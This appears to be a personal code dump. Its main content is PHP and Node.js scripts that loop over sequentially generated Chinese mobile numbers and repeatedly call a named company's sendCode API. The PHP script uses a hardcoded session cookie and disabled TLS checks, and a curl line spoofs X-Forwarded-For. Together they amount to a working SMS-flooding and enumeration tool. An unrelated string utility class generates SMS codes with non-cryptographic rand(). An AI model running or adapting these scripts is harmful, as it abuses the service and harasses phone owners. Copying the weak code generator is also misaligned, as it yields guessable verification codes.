<?php
function inc($s) {
if (empty($s)) {return "1";}
if ( ! isset($s[1]) ) {
$code = ord($s[0]) + 1;
if ($code <= ord("9")) {
return chr($code);
}
return "10";
}
$n = strlen($s);
$code = ord($s[$n-1]) +1;
if ($code <= ord("9")) {
return substr($s, 0, $n-1).chr($code);
}
return inc(substr($s, 0, $n-1))."0";
}
function sendCode(/* string */$phone) {
$ch = curl_init();
$headers = [
"X-Requested-With: XMLHttpRequest",
// "Content-Type: application/json",
"Cookie: etsessionid=2k4pjijh9h1vm3gi7h3669atp6;",
"Origin: http://172.16.0.224:7102"
];
curl_setopt_array($ch, [
CURLOPT_URL => 'https://enjoysoft.021city.cn/index.php/api/sendCode?phone='.$phone.'&type=1',
CURLOPT_HEADER => 1, // 不输出响应的http header
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_POST => 1,
CURLOPT_SAFE_UPLOAD => 1,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_SSL_VERIFYPEER => 0, // 对认证证书来源的检查
CURLOPT_SSL_VERIFYHOST => 0,
]);
$data = curl_exec($ch);
if (curl_errno($ch)) {
echo curl_error($ch);
}
curl_close($ch);
return $data;
}
$s = "15335298868";
$n = 1000000;
while ($n-- > 0) {
printf("%s\n", $s); // "2147493647"
$data = sendCode($s);
echo $data.PHP_EOL;
$s = inc($s);
}
php add1.php
13253338898
type: 1登录 2注册 3申请修改登录手机号 4 号码更换成功 5 设定提现密码
curl --location --request POST 'https://enjoysoft.021city.cn/index.php/api/sendCode?phone=17767258891&type=5' --header 'X-Forwared-For: 121.5.101.32' --data-raw ''
Str.php
<?php
class Str {
const CHS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~`!@#$%^&*()_+-=";
public static function smsCode($len = 6) {
return self::rand($len, "0123456789");
}
public static function randKey() {
return self::rand(12, self::CHS);
}
public static function randAlpha($len = 4, $chs = "") {
if (empty($chs)) {
$chs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
}
return self::rand($len, $chs);
}
/**
* @param int $len
* @return string
*/
private static function rand($len, $s) {
$n = strlen($s)-1;
$r = "";
while ($len-- > 0) {
$r .= $s[ rand(0, $n) ];
}
return $r;
}
public static function isValidMobile($s) {
$matches = array();
preg_match("/^1[3456789][0-9]{9}$/", $s, $matches);
return !empty($matches);
}
public static function isValidEnterpriseName($s) {
if (mb_strlen($s) < 2) {
return false;
}
return preg_match("/^[\x7f-\xff]{2,128}$/", $s);
}
/**
* 校验社会信用代码
* @ref: https://blog.csdn.net/qq_45414633/article/details/109334171
* @param $s
* @return bool
*/
public static function isValidEnterpriseCode($s) {
return preg_match("/^[^_IOZSVa-z\W]{2}\d{6}[^_IOZSVa-z\W]{10}$/", $s);
}
public static function extractNumbers(/* string */$s) {
$sNum = "";
for ($i = 0; isset($s[$i]); $i++) {
$c = mb_ord($s[$i]);
if (48 <= $c && $c < 58) {
$sNum .= mb_chr($c);
}
}
return $sNum;
}
private static function isLeapYear(/* int */$yyyy) {
return ($yyyy%400==0) || ($yyyy%4==0 && $yyyy %100 != 0);
}
public static function prevDate(/* string */$today) {
list($yyyy, $mm, $dd) = explode('-', $today);
$yearMonth = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
if (self::isLeapYear($yyyy)) {
$yearMonth[2] += 1;
}
$dd -= 1;
if ($dd < 1) {
$mm -= 1;
$dd = $yearMonth[$mm];
}
if ($mm < 1) {
$yyyy -= 1;
$mm = 12;
$dd = $yearMonth[$mm];
}
return sprintf("%04d-%02d-%02d", $yyyy, $mm, $dd);
}
public static function nextDate(/* string */$today) {
list($yyyy, $mm, $dd) = explode('-', $today);
$yearMonth = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
if (self::isLeapYear($yyyy)) {
$yearMonth[2] += 1;
}
// next day
$dd += 1;
if ($dd > $yearMonth[$mm]) {
$mm += 1;
$dd = 1;
}
if ($mm > 12) {
$yyyy += 1;
$mm = 1;
}
return sprintf("%04d-%02d-%02d", $yyyy, $mm, $dd);
}
public static function isValidDateTime(/* string */$s) {
list($date, $time) = explode(' ', $s);
list($yyyy, $mm, $dd) = explode('-', $date);
list($hh, $min, $sec) = explode(':', $time);
$year = intval($yyyy);
if ($year < 1970 || $year > 9999) {return false;}
$month = intval($mm);
if ($month < 1 || $month > 12) {return false;}
$day = intval($dd);
$yearMonth = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
if (self::isLeapYear($year)) {
$yearMonth[2] += 1;
}
if ($day < 1 || $day > $yearMonth[$month]) {return false;}
if (!is_numeric($min)) {return false;}
if ($min < 0 || $min >= 60) { return false;}
if (!is_numeric($sec)) {return false;}
if ($sec < 0 || $sec >= 60) { return false;}
return true;
}
}
nodejs版本
var https = require('https')
var options = {
'method': 'POST',
'hostname': 'enjoysoft.021city.cn',
'path': '/api/sendCode',
'headers': {
'User-Agent': 'Mozilla/5.0 (Linux; Android 13; SM-E5260 Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/104.0.5112.97 Mobile Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
},
'maxRedirects': 20,
};
var params = {
"phone": "15335298868",
"type": "1"
};
function inc(/* string */s) {
if (!s) {
return "1";
}
let code = 0;
const C9 = "9".charCodeAt(0);
if (s.length < 2) {
code = s.charCodeAt(0) + 1;
if (code <= C9) {
return String.fromCharCode(code);
}
return "10";
}
let n = s.length;
code = s.charCodeAt(n-1) + 1;
if (code <= C9) {
return s.substring(0, n-1) + String.fromCharCode(code);
}
return inc(s.substring(0, n-1)) + "0";
}
for (let i = 0; i < 1000; i++) {
let req = https.request(options, function (res) {
var chunks = [];
res.on("data", function (chunk) {
chunks.push(chunk);
});
res.on("end", function (chunk) {
var body = Buffer.concat(chunks);
console.log(body.toString());
});
res.on("error", function (error) {
console.error(error);
});
});
// req.write(JSON.stringify(params));
params.phone = inc(params.phone);
console.log(params.phone);
let postText = Object.keys(params).map(function(prop) {
return encodeURIComponent(prop) + "=" + encodeURIComponent(params[prop])
}).join("&");
req.write(postText);
req.end();
}